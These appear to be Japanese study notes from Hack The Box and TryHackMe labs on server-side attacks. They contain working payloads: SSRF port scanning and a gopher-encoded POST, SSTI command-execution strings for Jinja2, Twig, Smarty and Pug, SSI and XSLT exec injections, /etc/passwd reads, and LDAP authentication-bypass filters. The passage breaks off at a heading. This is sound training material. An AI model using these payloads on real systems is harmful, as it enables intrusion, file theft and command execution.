コース
- Hack The Box Server-side Attacks
概要
サーバーサイドの脆弱性で起きる攻撃について触れる
- SSRF
- サーバーサイドリクエストフォージェリ
- SSTI
- サーバーサイドテンプレートインジェクション(SSTI)
- HTMLなどのレスポンスを動的に生成することがある、そこにテンプレートコードを注入する攻撃
- SSIインジェクション
- サーバーサイドインクルードインジェクション
- SSIディレクティブは、ウェブサーバーに対して追加のコンテンツを動的に読み込ませる命令で、HTMLファイル内に埋め込まれる
- 例えば、全ページに共通するヘッダーやフッターの読み込みなどに利用される
- XSLTサーバーサイドインジェクション
- 拡張スタイルシート言語変換サーバーサイドインジェクション
- XSLT : XMLドキュメントをHTMLなど別の形式に変換するための言語
- サーバー上で行われるXSLT変換を攻撃者が操作できる場合に発生する脆弱性
- XSLT変換の処理方法に問題がある場合に攻撃者が任意のコードをサーバー上で実行できるようになる
SSRF
- ユーザーの入力に基づいてリモートリソースを取得するような構成になっている場合、攻撃者は任意のURLをサーバーにリクエストさせるよう誘導できる可能性がある
- アイコンの画像をオンラインのリンクからも取得できるようになってる時とか
- ウェブアプリケーションがユーザー指定のURLスキーム(またはプロトコル)に依存している場合
- 攻撃者はそのスキームを操作することで、さらに深刻な不正動作を引き起こす可能性がある
http://
およびhttps://
- これらのスキームは、HTTP/HTTPSリクエストを通じてコンテンツを取得する
- 攻撃者はこれを利用して
- WAF(Web Application Firewall)の回避
- 制限されたエンドポイントへのアクセス
- または内部ネットワーク上のエンドポイントへのアクセスを試みることがある
file://
- ローカルファイルシステム上のファイルを読み取りする
- LFIできる
gopher://
- 古いプロトコル
- HTTPの前のプロトコルで情報検索プロトコルの一つ
- ファイル転送もできる
- 何でSSRFでGopherを使うのか
- HTTPで、POST送れないけど、gopherなら送れる的じゃん的な感じの使い方
- 自分で構築したPOSTリクエストをバイト単位で送信できるので、認証バイパスやコマンド実行なども可能になる
- HTTPは、GETやPOSTなど特定の形式のリクエストを送信するように設計されている
- HTTPで、POST送れないけど、gopherなら送れる的じゃん的な感じの使い方
- このプロトコルは、指定されたアドレスに対して任意のバイトデータを送信することができる
- 攻撃者はこれを使って、任意のペイロードを含むHTTP POSTリクエストを送信したり、SMTPサーバーやデータベースなどの他のサービスと通信することが可能になる
- 古いプロトコル
SSRFの識別
- アップロードとか、ユーザーが入力できる部分で、SSRFができる場合がある
- そこに、攻撃者のIPを入れて、ncで待ち受けることで、リクエストが飛んでくる可動かを確認できる
システムの列挙
- このSSRF脆弱性を利用して、システム内部のポートスキャンが行える
- 特定のポートが開いているかどうかは、SSRFリクエストに対するレスポンスから判断できる
- 閉じていると推定されるポート(例:81)を指定した場合、次のような接続エラーが返される
ffufによるポートスキャンの自動化
- スキャンしたいポート番号のリスト(例:1~10000)を作成する
seq 1 10000 > ports.txt
- ffuf を使ってスキャンを行い、先ほどのエラーメッセージが含まれないレスポンス(つまりポートが開いている)をフィルタリングする
└─$ ffuf -w ./ports.txt -u http://10.129.183.53/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.129.183.53/index.php
:: Wordlist : FUZZ: /home/kali/Desktop/HTBAcademy/Server-Side-Attacks/ports.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Failed to connect to
________________________________________________
80 [Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 4107ms]
3306 [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 296ms]
:: Progress: [10000/10000] :: Job [1/1] :: 139 req/sec :: Duration: [0:01:20] :: Errors: 0 ::
ffufによるディレクトリリバーサル
- 空いている内部ポートを見つけたが、403になる
- 存在しないディレクトリにアクセスしているため
- ffufで、ディレクトリトラバーサルをすることで、存在しているディレクトリを洗い出すことができる
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80"
<SNIP>
[Status: 200, Size: 361, Words: 55, Lines: 16, Duration: 3872ms]
* FUZZ: admin
[Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 6ms]
* FUZZ: availability
LFI
POSTリクエストに、「file://」を利用することによって、Localfileを読み出すことだできる
gopherプロトコル
- SSRFを使用して制限された内部エンドポイントにアクセスできる
- http:// URLスキームではPOSTリクエストを送信する方法がないため、GETリクエストに制限される
- ご覧のとおり、管理エンドポイントはログインプロンプトによって保護されている
- HTMLフォームから、
/admin.php
にPOSTリクエストを送信し、adminpw POSTパラメーターにパスワードを含める必要があると推測できる - しかし、
http://
URLスキームを使用してこのPOSTリクエストを送信する方法はない
- 代わりに、gopher URLスキームを使用して、TCPソケットに任意のバイトを送信できる
- このプロトコルを使用すると、HTTPリクエストを自分で構築することでPOSTリクエストを作成できる
- HTMLフォームから、
HTTPだとこんな感じだよね
POST /admin.php HTTP/1.1
Host: dateserver.htb
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
adminpw=admin
これをgopherにする
- gopherにするときのポイント
- すべての特殊文字をURLエンコードする必要がある
- データにgopher URLスキーム、ターゲットホストとポート、およびアンダースコアをプレフィックスとして付ける必要があり
gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin
ウェブアプリケーションがこのURLを処理すると、指定されたバイトがターゲットに送信される
- 有効なPOSTリクエストを表すようにバイトを慎重に選択したため、内部ウェブサーバーはPOSTリクエストを受け入れ、それに応じて応答する
- URLをHTTP POSTパラメーターdateserver内で送信しているため、dateserver自体がURLエンコードされているため、ウェブサーバーがURLを受け入れた後に正しい形式であることを保証するために、URL全体を再度URLエンコードする必要がある
- そうしないと、「Malformed URL」エラーが発生する
- gopher URL全体をもう一度URLエンコードした後、最終的に次のリクエストを送信できる
POST /index.php HTTP/1.1
Host: 172.17.0.2
Content-Length: 265
Content-Type: application/x-www-form-urlencoded
dateserver=gopher%3a//dateserver.htb%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520dateserver.htb%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01
- 内部管理エンドポイントは提供されたパスワードを受け入れ、管理者ダッシュボードにアクセスできる
gopherプロトコルは、HTTPサーバーだけでなく、多くの内部サービスと対話するために使用できる
しかし作るのが大変なので、以下のツールでGopher URLを生成することができる
- https://github.com/tarunkant/Gopherus
- ツールを実行するには、有効なPython2のインストールが必要
- ポイント
- MySQL
- PostgreSQL
- FastCGI
- Redis
- SMTP
- Zabbix
- pymemcache
- rbmemcache
- phpmemcache
- dmpmemcache
ブラインドSSRF
- 多くの現実のSSRF脆弱性では、応答が直接私たちに表示されない
- SSRF先のレスポンスが表示されない
- 何もエラーも表示されない
- 今までの攻撃手法は使えない
ブラインドSSRFの特定
-
特定手法はブラインドでないものと一緒
-
ローカルで、netcatを立ち上げて、サイトにアクセスさせてリクエストが飛んでくるかどうかで見分けられる
-
ウェブアプリケーションをそれ自体にポイントしようとすると、応答が強制されたリクエストのHTML応答を含まず、代わりに日付が利用できないことを単に通知するだけ
- ブラインドSSRFであることがわかる
- ブラインドSSRFであることがわかる
システムの列挙
- ブラインドSSRF脆弱性の悪用は、非ブラインドSSRF脆弱性と比較して一般的に制限される
- しかし、ウェブアプリケーションの動作によっては、開いているポートと閉じているポートで応答が異なる場合、(制限された)システムのローカルポートスキャンを実行できる可能性がある
例
-
ウェブアプリケーションは閉じているポートに対して「Something went wrong!」と応答する
-
しかし、ポートが開いていて有効なHTTP応答を返す場合は、異なるエラーメッセージが表示される
-
でも、空いててもHTTPを返さないことによって、実行中のサービスを特定できない場合がある
-
file://
でも、存在しているファイルと存在しないファイルでエラーメッセージが変わることがある
存在するファイル
存在しないファイル
SSTI
テンプレートエンジン
- テンプレートエンジンとは、あらかじめ定義されたテンプレートと動的に生成されたデータを組み合わせるソフトウェア
- Webアプリケーションが動的なレスポンスを生成する際によく使用される
- 例
- 全ページに共通のヘッダーやフッターがあるWebサイト
- テンプレートを使えば、ヘッダーとフッターはそのままにして、中身のコンテンツだけを動的に変更できる
- コードの重複が減り、複雑さが軽減され、保守性が向上する
- jinja・Twig
- 例
テンプレート処理の必要な入力
- テンプレート
- 文字列・ファイル形式
- 挿入する値のセット
- キーと値のペア
テンプレート
- 動的な値を挿入するための変数があらかじめ定義
エンジン
- 指定されたキーに対応する値をテンプレートの対応箇所に埋め込む
このテンプレートにエンジンを埋め込むことをレンダリングという
Jinjaはこんな感じ
- レンダリング時にnameが動的な値に置き換えられる感じ
- テンプレートエンジンはテンプレート内の変数を、提供された動的な値に単純に置き換えるだけ
Hello {{ name }}!
でもこんな感じで、条件分岐とかループも行える
以下は、names という変数のすべての要素に対してループ処理を行う for ループ例
{% for name in names %}
Hello {{ name }}!
{% endfor %}
namesにこのように設定すると、names=["vautia", "21y4d", "Pedant"]
以下のように出力する
Hello vautia!
Hello 21y4d!
Hello Pedant!
SSTIの概要
SSTI : サーバーサイドテンプレートインジェクション
-
テンプレートエンジンは、ユーザーの入力がレンダリング関数の「値」として適切に渡される限り、安全に処理することが可能
- テンプレートエンジンは単にテンプレート内の所定の場所に値を挿入するだけであり、その値内のコードを実行することはないから
-
テンプレート処理が正しく実装されていれば、ユーザー入力は常に「値」としてレンダリング関数に渡され、テンプレート文字列の一部になることはない
じゃあ、いつSSTIが発生するのか
- レンダリング関数が呼ばれる前に、ユーザー入力がテンプレート文字列に埋め込まれる場合
- テンプレートが複数回レンダリングされる場合
- たとえば、最初のレンダリングで生成された出力にユーザー入力を追加し、それを再びテンプレートとしてレンダリングすると、そのユーザー入力はテンプレートコードとして扱われてしまう可能性がある
- ユーザーがテンプレート自体を編集または送信できるようなWebアプリケーション
- SSTI 脆弱性が明確に存在することになる
表で動いているサイトだけが、SSTIの脆弱性を持つわけではない
- 裏でapiとして叩かれるサイトがSSTIの脆弱性を持っていることもある
SSTIの確認
ユーザーの入力がそのまま表示される時に発生しがち
SQLインジェクションと同じように、テンプレートエンジンで使われている特殊文字を使って、テスト文字列を使う
${{<%[%'"}}%\.
上を入力した時に、「500 Internal Server Error」が怒るときは、SSTIの脆弱性があるかもしれない
テンプレートエンジンの特定
-
エンジンによって、挙動に微妙な違いがあるため、エンジンを特定する必要がある
-
{{7*'7'}}のところの出力の分岐
- Jinja2 :
7777777
- Twig :
49
- Jinja2 :
-
テンプレートエンジンがわかったら、以下でペイロードを探すことができる
Jinja2でのSSTI
- Jinjaは、PythonのWebフレームワーク(FlaskやDjangoなど)でよく使用されるテンプレートエンジン
- Flaskを使用したWebアプリケーションを例に解説する
- ペイロードでは、Pythonアプリケーション内で(直接または間接的に)すでにインポートされているライブラリを自由に利用できる
- また、import文を使って追加のライブラリをインポートすることも可能
情報漏洩
- SSTI脆弱性を使って、Webアプリケーションの内部情報(設定情報やソースコードなど)を取得できる
- 例えば、以下のSSTIペイロードを使用すると、アプリケーションの設定を取得できる
{{ config.items() }}
このペイロードにより、使用されているシークレットキーを含む全設定情報が表示されるため、さらなる攻撃の準備に利用できる
- また、アプリケーションのソースコードに関する情報も取得可能
- 以下のペイロードを使うと、Pythonの組み込み関数一覧がダンプされる
{{ self.__init__.__globals__.__builtins__ }}
LFI
- Pythonの組み込み関数 open() を使えば、ローカルファイルを読み込める
- この関数を直接呼び出すのではなく、先ほど取得した builtins 辞書から呼び出す必要がある
- たとえば、/etc/passwd ファイルを読み込むペイロードは以下の通り
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
RCE
- os ライブラリの system や popen 関数を利用できる
- ただし、このライブラリがWebアプリケーションでまだインポートされていない場合は、import 関数を使ってインポートする必要がある
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
SSTIでコマンド実行する際の空白に関する注意点
- SSTI経由でコマンドを含むURLを送信する場合、空白(スペース)をURLエンコード(%20)しただけではエラーになることがある。
- 特に
.popen('')
内の文字列がそのまま実行されるようなケースで発生しやすい。 - 一方、空白をそのままテンプレート内に書いてもパースエラーになることがある。
- このような場合は、空白の代わりに {IFS}(Internal Field Separator) を使ってコマンドを構築することで回避できる。
- それか以下のペイロードを使えば、解決する
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}
Twig
- Twigは、PHPプログラミング言語用のテンプレートエンジン
情報漏洩
- 現在のテンプレートに関する少しの情報を取得できる
- 取得できる情報は、「テンプレート名の文字列、IPアドレス、現在時刻を表示」と限定的
これ全然、{{_self}}
でも大丈夫
- 取得できる情報は、「テンプレート名の文字列、IPアドレス、現在時刻を表示」と限定的
{{_self}}
LFI
- Twigの内部関数だけでは、Jinjaのようにローカルファイルを直接読み込むことはできない
- PHPのWebフレームワークSymfonyでは、Twigに対して追加のフィルターを定義している
- file_excerpt フィルター
- ローカルファイルを読み取ることが可能
- file_excerpt フィルター
{{"/etc/passwd"|file_excerpt(1,-1)}}
RCE
- リモートコード実行を行うには、PHPの組み込み関数 system などを使用する
- Twigの filter 機能を使うことで、関数に引数を渡す形で次のようなSSTIペイロードが可能
{{['id'] | filter('system')}}
SSTIでコマンド実行する際の空白に関する注意点
- SSTI経由でコマンドを含むURLを送信する場合、空白(スペース)をURLエンコード(
%20
)しただけではエラーになることがある。- これはおそらく
['コマンド']
のように、文字列がそのまま実行されているため - 一方、空白をそのままテンプレート内に書いてもパースエラーになることがある。
- これはおそらく
- このような場合は、空白の代わりに
{IFS}
などを使うことで回避できる{{['ls{IFS}../']|filter('system') }}
- 参考 : Web Page, Web App#スペースフィルターのバイパス
SmartyでのSSTI
- Smartyは、 PHP用の強力なテンプレートエンジン
- 開発者はプレゼンテーションとビジネスロジックを分離することで、アプリケーションの保守性とスケーラビリティを向上させることができる
- テンプレート内でPHP関数を実行できる
SSTIの特定
{'Hello'|upper}
と入力した時に、HELLO
を返すとき、Smartyが使用されているとわかる
RCE Exploit
{system("ls")}
- Smarty のセキュリティ設定で
system()
PHP関数の実行が許可されている場合に有効
- Smarty のセキュリティ設定で
PugでのSSTI
- Pug(旧称Jade)は、簡潔なHTMLレンダリングと、条件分岐、反復処理、テンプレート継承といった高度な機能により、Node.jsコミュニティで広く利用されている高性能テンプレートエンジン
- テンプレート内でJavaScriptコードを直接実行できる
SSTIの特定
#{7*7}
と入力した時に、49
と返す時、Pugが使用されている
RCE Payload
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}
root.process
- Pugテンプレート内で Node.js のグローバル process オブジェクトにアクセスするため
mainModule.require('child_process')
- child_process モジュールを動的に読み込むもので、通常の require の使用が制限されている場合でも回避するため
spawnSync('ls')
- ls コマンドを同期的に実行
spawnSync()
の仕様上、コマンド実行で、引数を取るときにシフトで繋げるとエラーになる- 引数を取るときは、
spawnSync('ls', ['-lah'])
のようにする
.stdout
- そのコマンドの標準出力を取得
自動特定ツール
- SSTIの特定および悪用に最もよく使われていたツール
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py
脆弱性スキャン
python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='
ファイルのダウンロード
snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
<SNIP>
[+] File downloaded correctly
コマンドの実行
snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
<SNIP>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
OSシェルの実行
snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell
<SNIP>
[+] Run commands on the operating system.
Linux $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux $ whoami
www-data
SSIインジェクション
- Server-Side Includes(SSI) は、WebアプリケーションがHTMLページに動的コンテンツを追加するために使用する技術
- Apache や IIS などの多くの人気Webサーバーでサポートされている
SSIの使用は、以下のファイルの拡張子から推測できる
.shtml
.shtm
.stm
- Webサーバーの設定によっては任意の拡張子のファイルにSSIディレクティブを使用できるようにすることも可能
- なので、拡張子だけでSSIの使用有無を判断することはできない
SSIディレクティブ
- SSIでは、静的なHTMLページに動的コンテンツを挿入するために「ディレクティブ」を使用する
- ディレクティブの構成
- name:ディレクティブの名前
• parameter name:1つ以上のパラメータ名
• value:1つ以上のパラメータ値
- name:ディレクティブの名前
SSIディレクティブの構文例
<!--#name param1="value1" param2="value" -->
よく使われるSSIディレクティブ
環境変数の表示
<!--#printenv -->
SSIの設定を変更する・エラーメッセージを変更する例
<!--#config errmsg="Error!" -->
var パラメータで指定した変数の値を表示する
- 複数の var パラメータを指定することで、複数の変数を表示できる
- 使える変数例
• DOCUMENT_NAME:現在のファイル名
• DOCUMENT_URI:現在のファイルのURI
• LAST_MODIFIED:最終更新日時
• DATE_LOCAL:サーバーのローカル時刻
<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->
指定したコマンドの実行
<!--#exec cmd="whoami" -->
Webルートディレクトリ内のファイルを読み込み、挿入
<!--#include virtual="index.html" -->
概要
- SSIインジェクションとは、攻撃者がSSIディレクティブをファイルに挿入し、それがWebサーバーによって処理されることによって、悪意あるコードが実行される脆弱性
発生する可能性がある場面
- Webアプリケーションに脆弱なファイルアップロード機能が存在し、攻撃者がSSIディレクティブを含む悪意あるファイルをWebルートにアップロードできる場合
- Webアプリケーションがユーザー入力をファイルとしてWebルートに保存するような処理を行っている場合
確認
-
ファイル名が、以下のいずれかの時
-
.shtml
-
.shtm
-
.stm
-
入力されたユーザー名が適切に無害化(サニタイズ)されず、そのままページ内に埋め込まれている場合
悪用
ユーザーの入力をそのまま使用している
ここの入力欄にSSIインジェクションを仕掛ける
環境編集の取得したい時
<!--#printenv -->
任意のコマンドを入れる時
<!--#exec cmd="id" -->
XSLTインジェクション
-
XSLT(eXtensible Stylesheet Language Transformation) は、XMLドキュメントを変換するための言語
-
特定のノードを選択したり、XML構造を変更したりすることができる
-
XSLT は XML ベースのデータを操作する
これはただのXML
<?xml version="1.0" encoding="UTF-8"?>
<fruits>
<fruit>
<name>Apple</name>
<color>Red</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Banana</name>
<color>Yellow</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Strawberry</name>
<color>Red</color>
<size>Small</size>
</fruit>
</fruits>
XMLを操作するのが、XSLT
-
XML ドキュメントからデータを取得してフォーマットするためのテンプレートを定義するために使われる
-
XSLT のデータ構造は XML に似ていますが、xsl: プレフィックスを持つ XSL 要素を含んでいる
- 以下は一般的に使用される XSL 要素の一部
<xsl:template>
:テンプレートを定義する要素で、適用対象の XML のパスを match 属性で指定できる<xsl:value-of>
:select 属性で指定した XML ノードの値を抽出する<xsl:for-each>
:select 属性で指定したノードに対してループ処理を行う
-
全ての果物とその色を出力する簡単な XSLT ドキュメント
- テンプレートは、
<fruits>
ノードに適用される
- テンプレートは、
-
テンプレートの中では、静的な文字列「Here are all the fruits:」と、全ての
<fruit>
ノードをループ処理し、それぞれの<name>
と<color>
の値を表示
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all the fruits:
<xsl:for-each select="fruit">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
XMLとXSLTを組み合わせると、こんな感じの出力になる
Here are all the fruits:
Apple (Red)
Banana (Yellow)
Strawberry (Red)
その他よく出てくるXSL要素
<xsl:sort>
:select 属性でループ内の要素のソート順を指定できます。order 属性で昇順または降順を選べる<xsl:if>
:特定のノードに対して条件分岐を行いたい場合に使用します。条件は test 属性で指定
例えば、サイズが「Medium」の果物のみを色の降順で並べたリストを作成するにはこうする
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all fruits of medium size ordered by their color:
<xsl:for-each select="fruit">
<xsl:sort select="color" order="descending" />
<xsl:if test="size = 'Medium'">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:if>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
出力
Here are all fruits of medium size ordered by their color:
Banana (Yellow)
Apple (Red)
概要
- ユーザー入力がXSLデータに挿入され、それがXSLTプロセッサによって出力生成時に処理されることで、意図しない動作が引き起こされる攻撃
- 攻撃者はこれにより、任意のXSL要素を挿入して実行させることが可能になる
確認
- ユーザーの入力があるか
- サニタイズされずに表示されるか
- モジュール情報をXMLドキュメントに保存し、XSLTでそのデータを表示している場合、XSLT処理の前にユーザー名が無処理で挿入されていれば、XSLTインジェクションの脆弱性が存在する可能性がある
- 壊れたXMLタグを注入して、アプリケーションにエラーを発生させてみる
<
- このリクエストに対して、アプリケーションは 500 Internal Server Error を返してくると、なんらかのセキュリティの問題が存在している証拠
情報漏洩
使用されているXSLTプロセッサに関する基本情報を取得するため、以下のようなXSLT要素を注入する
Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />
Webアプリケーションは以下のようにバージョンやベンダーの詳細を含んだレスポンスを返してくる
- ここから、アプリケーションは libxslt ライブラリを使用しており、XSLTバージョン1.0をサポートしていることが推測できる
Local File Inclusion
- ローカルファイルを読み取るために、いくつかの関数を使うことができる
- XSLTのバージョンやライブラリの設定によって異なる
unparsed-text 関数を使うとファイルを読み取れる
- この関数は XSLT 2.0以降で導入されたものなので、使えない場合がある
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
XSLTライブラリが PHP関数の呼び出しをサポートしている場合、以下のようにして file_get_contents 関数を使うことができる
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
RCE
XSLTプロセッサがPHP関数をサポートしている場合、RCEできる
たとえば、system 関数を呼び出して以下のように id コマンドを実行できる
<xsl:value-of select="php:function('system','id')" />
LDAP Injection
LDAP概要
- LDAP : Lightweight Directory Access Protocol
- ディレクトリエントリはオブジェクトとして構成されており、それぞれが特定のスキーマ(schema)に従う
- このスキーマは、オブジェクトに適用されるルールや属性を定義する
LDAPが使われる場所
- MicrosoftのAD
- OpenLDAP
- LDAPのオープンソース実装であり、ユーザー情報の管理や、さまざまなプラットフォームにおける認証機構のサポートに広く使用されている
LDIF
- LDIF : LDAP Data Interchange Format
- LDAPのエントリは、LDIFを用いて表現できる
- LDAPディレクトリエントリや更新操作を表現するための標準的なプレーンテキスト形式
- ディレクトリの内容をインポート・エクスポートしたり、追加・変更・削除といったディレクトリの操作を記述したりする際に使用される
構造・用語
-
ファイルシステムのツリーのような階層構造
-
この構造には、ユーザー、グループ、リソースなどの一意な項目を表すエントリが含まれている
引用 : https://tryhackme.com/room/ldapinjection -
LDAPツリーの最上部には、トップレベルドメイン, TLD
- 例 :
dc=ldap,dc=thm
- 例 :
-
TLDの下には、サブドメインや組織単位 OU: Organizational Unitsが存在する
- 例 :
ou=people, ou=groups
- 例 :
-
DN
- 識別名 : Distinguished Name
- LDAPツリーの最上部から各エントリへのパスを指定する、一意の識別子
cn=John Doe,ou=people,dc=example,dc=com
-
RDN
- 相対識別名 : Relative Distinguished Name
- ディレクトリ階層内の個々のレベルを表す
- 例:
cn=John Doe
-
Attributes
- 属性
- 各エントリのプロパティを定義する
- 例 :
mail=john@example.com
検索クエリ
-
LDAPディレクトリと対話する際の基本要素
-
LDAP検索クエリは、いくつかのコンポーネントで構成されている
-
それぞれが検索操作において特定の役割を果たす
-
Base DN(識別名):ディレクトリツリーにおける検索の開始地点を示す
-
スコープ(Scope):Base DNからどの深さまで検索を行うかを定義
- base:Base DNのみを検索
- one:Base DNの直下の子ノードのみを検索
- sub:Base DNおよびそのすべての子孫を検索
- フィルター(Filter):検索結果として返されるためにエントリが満たす必要のある条件を示す。特定の構文を用いてこれらの条件を定義する
- 属性(Attributes):検索結果として返される一致するエントリのどの属性を取得するかを指定する
LDAP検索クエリの基本構文
(base DN) (scope) (filter) (attributes)
フィルターと構文
- 検索で使える演算子
- 等価(
=
) - 存在確認(
=*
) - 以上(
>=
) - 以下(
<=
)
- 等価(
- ワイルドカード(
*
)も使える
フィルターは、(cn=)
で表すよ
例 (cn=John Doe)
- cn(Canonical Name) が “John Doe” に正確に一致するエントリを対象
(cn=J*)
- cn が “J” で始まる任意の文字列に一致するエントリを対象
(&(objectClass=user)(|(cn=John*)(cn=Jane*)))
- objectClass が “user” であり、かつ cn が “John” または “Jane” で始まるエントリを検索
LDAPサービスとネットワークアクセス
- ポート389
- 暗号化なし、またはStartTLSによる接続
- ポート636
- SSL/TLSによる暗号化接続
ldapsearchはOpenLDAPスイートの一部
クエリ例
ldapsearch -x -H ldap://10.10.183.7:389 -b "dc=ldap,dc=thm" "(ou=People)"
ldapsearch | OpenLDAPに付属する検索用コマンド。LDAPディレクトリから情報を取得するために使用します。 |
-x | シンプル認証(simple authentication)を使う。通常は匿名またはユーザー名・パスワードでの簡易認証。 |
-H ldap://10.10.183.7:389 | 接続先のLDAPサーバーとポート番号を指定。この場合、IPアドレス 10.10.183.7、ポート番号 389(標準のLDAPポート)で、暗号化なしの接続を行う |
-b "dc=ldap,dc=thm" | Base DN(検索を開始するディレクトリのルート)を指定。ここでは、ドメインコンポーネントが ldap.thm のLDAPツリーのトップから検索を開始する |
"(ou=People)" | 検索フィルター、ou(組織単位:organizationalUnit)が "People" であるエントリを検索する |
インジェクション概要
インジェクション概要
- ユーザー入力がLDAPクエリに組み込まれる前に適切にサニタイズされていない場合に発生
- 他のインジェクションと変わらない
- 主に、WebアプリケーションがLDAPクエリを構築する方法を悪用する
一般的な攻撃ベクトル
- 認証バイパス
- LDAP認証クエリを改ざんして、パスワードを知らずに他人としてログインする。
- 不正なデータアクセス
- LDAP検索クエリを操作して、本来アクセス権のない機密情報を取得する。
- データの改ざん
- LDAPディレクトリ内のデータ(例:ユーザー属性)を追加・変更するようなクエリを注入する。
インジェクションの手順
- 攻撃者がWebアプリケーションのログインフォームに悪意のある入力を送信する
- アプリケーションは、この入力をLDAPクエリにそのまま組み込む
- LDAPサーバは、改ざんされたクエリを実行する
- その結果、不正アクセスや情報漏洩が発生する可能性がある
SQLインジェクションの、SQLサーバーがLDAPサーバーになるのと特に変わりはない
引用 : https://tryhackme.com/room/ldapinjection
悪用
LDAPサーバに対するユーザー認証に使われているWebアプリケーションの、簡略化されたPHPコード
- ユーザーネームとパスワードを入力して、LDAPで検索して、存在してたら、ようこそとメッセージを出す
- 特に見る部分は、ユーザーネームとパスワードに対して、なんのサニタイズもされてない
- この脆弱性を利用して、悪意のあるLDAPフィルタを注入できる
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$ldap_server = "ldap://localhost";
$ldap_dn = "ou=People,dc=ldap,dc=thm";
$admin_dn = "cn=tester,dc=ldap,dc=thm";
$admin_password = "tester";
$ldap_conn = ldap_connect($ldap_server);
if (!$ldap_conn) {
die("LDAPサーバに接続できませんでした");
}
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
if (!ldap_bind($ldap_conn, $admin_dn, $admin_password)) {
die("管理者資格情報でLDAPにバインドできませんでした");
}
// LDAP検索フィルタ
$filter = "(&(uid=$username)(userPassword=$password))";
// LDAP検索の実行
$search_result = ldap_search($ldap_conn, $ldap_dn, $filter);
// 検索成功の確認
if ($search_result) {
$entries = ldap_get_entries($ldap_conn, $search_result);
if ($entries['count'] > 0) {
foreach ($entries as $entry) {
if (is_array($entry)) {
if (isset($entry['cn'][0])) {
$message = "ようこそ、" . $entry['cn'][0] . "さん!\n";
}
}
}
} else {
$error = true;
}
} else {
$error = "LDAP検索に失敗しました\n";
}
?>
- 悪意のあるLDAPフィルタを含んだユーザー名を送信することでこの脆弱性を突くことができる
- ユーザー名に
*
を使用すれば、LDAPクエリの条件を常に「真」として評価させ、認証をバイパスできる
(&(uid=*)(userPassword=*))
認証バイパス
恒真式(Tautology)ベースのインジェクション
- LDAPクエリに常に真になる条件を挿入する手法で、クエリが意図に関係なく常に肯定的な結果を返すようになる
- 特に、ユーザー入力を適切にサニタイズしていないLDAPクエリに対して非常に効果的
クエリ例
(&(uid={userInput})(userPassword={passwordInput}))
攻撃者は以下のような入力をする
- userInput =
*)(|(&
- passwordInput =
pwd
すると、クエリはこうなる (&(uid=*)(|(&)(userPassword=pwd)))
(uid=*)
: 全ユーザーに一致する(|(&)(userPassword=pwd))
:(&)
(空のAND)は常に真
- OR条件
(|...)
の中で1つでも真であれば全体が真になるため、userPassword の値に関係なくクエリが通る - パスワードの正当性確認を完全にバイパスできる
ワイルドカード・インジェクション
